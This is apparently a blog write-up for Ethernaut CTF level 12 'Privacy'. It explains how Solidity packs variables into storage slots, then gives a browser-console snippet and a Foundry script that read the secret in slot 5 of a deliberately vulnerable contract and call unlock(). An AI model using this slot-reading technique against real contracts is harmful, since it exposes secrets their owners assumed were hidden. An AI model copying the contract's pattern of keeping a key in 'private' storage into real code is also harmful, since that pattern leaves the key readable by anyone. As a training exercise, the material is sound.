The Ethernaut CTF Solutions | 12 - Privacy

The Ethernaut CTF Solutions | 12 - Privacy

Ethereum Exposed: Accessing Hidden Data in Smart Contracts

ยท

3 min read

Goals

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

The hack

Nothing complex in how to solve the challenge, we must retrieve the key and call the unlock() function to beat it. Fortunately, we don't have to deal with the super-advanced solidity algorithms!

Like in the previous Vault level, we need a good understanding of how storage works in solidity, and how to access it. Only this time, we go a little further as this level introduces static-sized array type.

function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

We can see that the _key we are looking for must be equal to bytes16(data[2]). So how can we access data[2]?

Here is the storage:

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

Since there is no inheritance, the storage starts at slot 0 with the locked variable and goes as follows:

SlotVariableTypeNotes
0lockedboollocked takes 1 byte, but since the next value doesn't fit in the 31 bytes left, locked takes the whole slot (Not best practice!)
1IDuint256uint256 takes 32 bytes, so 1 full slot
2flattening, denomination, awkwardnessuint8, uint8, uint16Respectively 1 byte + 1 byte + 2 bytes, so solidity packs these together into a single slot.
3data[0]bytes32Static arrays start a new storage slot, each bytes32 element taking one full slot.
4data[1]bytes32
5data[2]bytes32This is the slot containing data[2].

With this detailed storage layout, we can see that data[2] is stored in slot 5. We can now move to the solution.

Solution

We have to read the storage at slot 5 to get the value of data[2].

With JavaScript in the browser's console:

We can do this by calling the web3.eth.getStorageAt function.

// Read the storage at slot 5
const contents1 = await web3.eth.getStorageAt(instance, 5);
// Format the key to bytes16
const key = contents1.substring(0, 34);

Then we can call the unlock function with the value we got from the storage.

await contract.unlock(key);

With Foundry using forge:

You can also achieve the same with Foundry by using the vm.load function. Let's write our script accordingly:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";

interface IPrivacy {
    function locked() external view returns (bool);
    function unlock(bytes16 _key) external;
}

contract PoC is Script {
    // Replace with your Privacy instance
    address private immutable privacy =
        0x8872CAE2EB50a5C77B4B0b323F0071DbAbD19025; 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        bytes32 key = vm.load(privacy, bytes32(uint256(5)));
        IPrivacy(privacy).unlock(bytes16(key));

        console2.log(
            "This should be unlocked by now, right?",
            IPrivacy(privacy).locked()
        );

        vm.stopBroadcast();
    }
}

To run the script:

forge script script/12_Privacy.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

Done.

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Again, nothing is private on-chain. Everything is public and can be read by anyone.

  • Organize your storage to save space and gas.

References


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย